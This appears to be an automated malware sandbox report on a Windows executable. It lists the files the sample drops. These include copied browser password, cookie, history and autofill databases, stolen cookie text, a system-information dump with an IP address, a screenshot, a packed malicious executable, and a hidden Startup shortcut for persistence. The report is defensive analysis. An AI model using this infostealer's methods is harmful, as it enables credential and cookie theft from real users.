SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IQeCvOuk5XXrLogin Data For Account

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\Nw31iWCMK5uTCookies

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\Osb6r9Cz1SKZHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\Q401JET9409NCookies

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8475592208333753
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
MD5:	BE99679A2B018331EACD3A1B680E3757
SHA1:	6E6732E173C91B0C3287AB4B161FE3676D33449A
SHA-256:	C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
SHA-512:	9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\W9LjgHgMMdGgWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\exMrGp0bQTcpWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\fc39buFwaAmgHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\nDhYIm6Z9aF_Web Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\vd0iE2P7EOYhHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\yDQk2lzvekOJLogin Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\za6uxHtLZkkSWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\zhSjLeSPGmokWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy8fTqI7Z4TQTK\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.958474698481357
Encrypted:	false
SSDEEP:	12:copYxlijbcjkI7F5jiFZYs38lqOIkvurL9ctmcjO:Klwbcjk+JsZylqOhWBckcjO
MD5:	502EDC3147DEA56D074B4453CE6EF23E
SHA1:	A56E3680E6D7A09A694F1F6B7711BF00CC84E154
SHA-256:	13DFA1C6672FC5ABDE53C4FAFAA4DBAFB0DC23CE1F88D4264961427311326BEE
SHA-512:	203C07C84BA88C8D92B1F9E517F1556537E6273A7E944BD048313F381D64FAE8B83738CEC02843A2DDF01CAE1D40FD282E81AC1D28B637F4E9A90C5F53189CA6
Malicious:	false
Preview:	.google.com.FALSE./.TRUE.1699085938.1P_JAR.ENC893_djEwLavoQSuZmnbgKC0V9kjHN9bHA9ngJdqAkvOVhaomzcxtYYMxx8ANM/U=_/uMNoER/9pD2h3Kq19wy5TOobYwsP/SldTt3n0celPM=...google.com.TRUE./.TRUE.1712305138.NID.ENC893_djEwHTM2wfKV2YxQ9mvStmVLYPN4tZgfHWg+jkSVyZP+e7Oi7/DEt1XTnmNp3N0jjxwXzTOL5u3C/EfCucCDqjRUL/nonxZ0syyCCZvw0BH6CyCOtDJx/7nMgo8JH41lYPSsbzi2lM9kBLMDeySzGBx45nrC8zUE0MX+HUc1Q5CE+zgCCUUV9lQSeyP4OMUzP2x44dh2ptxvH8RYkyxvRqrAQbY0zDwflQLV32L/WiZ6CMDtSY0mjJDUPIbi9c1P8lGXoRlnuxakxYy2a0c=_/uMNoER/9pD2h3Kq19wy5TOobYwsP/SldTt3n0celPM=..

C:\Users\user\AppData\Local\Temp\trixy8fTqI7Z4TQTK\History\Firefox_24a4ohrz.default-release.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.744166388762866
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQeWccy:2OLciodObR
MD5:	E66B03D5312D280FEC68B4E7257EFF42
SHA1:	39E4EA273A31BE7739B2CC2B4CAF27137A5839EE
SHA-256:	BAD09F6E18C6B2038EF3AF0A13C6853FCBFC4E478AC697128122C13B25869E8A
SHA-512:	F019C1B3A852D6BC42424762E843018640FF1B987A8EAA9E88A747BEE6AE6B4736939B6B82E203E08F4056AA9C67B75554C661C8E32D58935AB499581EFA899A
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696493965..

C:\Users\user\AppData\Local\Temp\trixy8fTqI7Z4TQTK\information.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	5832
Entropy (8bit):	5.48408970553271
Encrypted:	false
SSDEEP:	96:xVymlMRnFWcnExrvoENMCjFNm2wANUbg3x:x4tpFWgOrvoENMCnB
MD5:	2D46D6783E27AD51A240038B5D73A682
SHA1:	D753E611EC30DEE75854A1567E5C55B58CEF3B76
SHA-256:	731033FEBDEAF415600ABB474BE3EAC7A3F6B651EB1F3840A6DDF6E53BFA6804
SHA-512:	3121AF73BCBC4768A95A8CE3B37705E668593CA014F2E328854DB789BE3F1FEAE2E8356C93B627B757A69C6B79F3090A264EC9EC4AC8788F803518D5415841E1
Malicious:	false
Preview:	Build: r1..Version: 1.9....Date: Wed Apr 24 14:43:06 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: af34ed540b095835b33d0154db40cc60....Path: C:\Users\user\Desktop\file.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixy8fTqI7Z4TQTK....IP: 154.16.105.36..Location: US, Las Vegas..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 767668 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 24/4/2024 14:43:6..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [556]..services.exe [624]..lsass.exe [640]..svchost.exe [744]..fontdrvhost.exe [776]..fontdrvhost.exe [784]..s

C:\Users\user\AppData\Local\Temp\trixy8fTqI7Z4TQTK\passwords.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy8fTqI7Z4TQTK\screenshot.png

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	691852
Entropy (8bit):	7.924381994895451
Encrypted:	false
SSDEEP:	12288:pBemVLvchJL0RYCdWnZTvR526i05+pGmH5wvlnXh/Hw3IOw+AhkyAh75z/eCuDgC:6thLC4ZT26itAmZGRvw3IOw+AhfWV/er
MD5:	E2A8B2D12BF4E2201804735CAC839C72
SHA1:	928A931AF19AA92701D4329F94E5790A23F0F33D
SHA-256:	754BBE022E1BBCDF7B81C1078E755F7B161062EAA2CCE500EB1676B8EEF79A90
SHA-512:	7ECA6A05267BA369279FC439574B2C918EF89A55A401F1D6752AE7A27166D6C1DCBB0283E3B167461AFB3E2162AD585C4EABA18449917D381928E9207894DF72
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.mU.......TwW..{..m..............Jr.9.(.-..BQ2.A.%..0tiY...$.$G.H...A...{......~V.{.s...u.......s..9...9:.3~QM....T.....m~......{...95}.E.L.....L...)?.E.u.TA7}.I..{:S'..=....'2.....w\.......:/.N..~....U:................1s.{..C.:..{.#m.c..s..#1u...~..y...O.....\X...D....c1U........Z.?\|.5...f.......H.G.......>....=>....gM..Gb..s.....d.`.._..>1.0...7..o.~........s.v.w.d.-1So.^f.M5S.....%o.3S.h.X9..A..}......7.6..om.~.m..y.{.-U.u7WK_.[...[g1..[2S..9......./)X...c...pS.ym...e<?.S\k.....5K.H.......k....!...~7......Z...c....\../....sK..!..wC..5)g.?.}.s........Ug.kr.....b...i..{c.".,O.Rb).v.y....<.x:......zl=...8,...j.i........tw.......j..i...\.e{....}w....\|en.wM.g.+3S.^Quw.n.cX.gzVj;;_...quf...._KK....g].~...^.[..[.K........0..z.9.wJ....v.,3...iLN...;^.).M...>=....m/..e;.. ....v...........Z..;.5......j.d......6.OLy.8.....w.b.O...EUw.Kr^g.sL.z..bN

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Wed Apr 24 11:43:17 2024, mtime=Wed Apr 24 11:43:17 2024, atime=Wed Apr 24 11:43:17 2024, length=4563640, window=hide
Category:	dropped
Size (bytes):	1330
Entropy (8bit):	4.885800417054974
Encrypted:	false
SSDEEP:	24:8EvHMBnRjgKZtxBsdDSXAaB1yNdFdXqpkiqygm:8+HInRLxBASwaB1yVFfyg
MD5:	5B0A404148A033EFE5D3D682A256914F
SHA1:	12FEE9F2EB02608CA0DFBE9E3F543745F9C88176
SHA-256:	3842018D277879A3E95C0BA0A57A7B453979CE70B4DC8F60E014B44F6705BE5F
SHA-512:	40E51E3C8CE9F034C4AD7183C74FECE96A73A4C355E06D9530D00474B6D1283ACDD2C1930DD6B1AC686AF6B1E28D22611BFA1692C0E58C1F6E9F9401C08F75BC
Malicious:	false
Preview:	L..................F.... .....O.D.....O.D......D.....E.....................X.:..DG..Yr?.D..U..k0.&...&.......y.Yd....;G.D....5^.D.......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B.X[e..........................d...A.p.p.D.a.t.a...B.P.1......XYe..Local.<......EW)B.X[e.........................N.e.L.o.c.a.l.....N.1......Xde..Temp..:......EW)B.Xde..........................8..T.e.m.p.......1......Xie..EDGEMS~1.........Xie.Xie.........................._...E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.....b.2...E..Xie .EdgeMS2.exe.H......Xie.Xie..........................9.e.E.d.g.e.M.S.2...e.x.e.......................-.....................]l.....C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe....E.d.g.e.M.S.2.Q.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.\.E.d.g.e.M.S.2...e.x.e.........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.970539933572657
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'723'696 bytes
MD5:	e13d9ab9096dcc3bd309272dea987462
SHA1:	906ae29df0f1e4ac3ed5302b3d5d97decd4f1198
SHA256:	5a7b8feb65ff7cfc058c5e7198d5287ed8287ef23f721949bfba41d1cd19467c
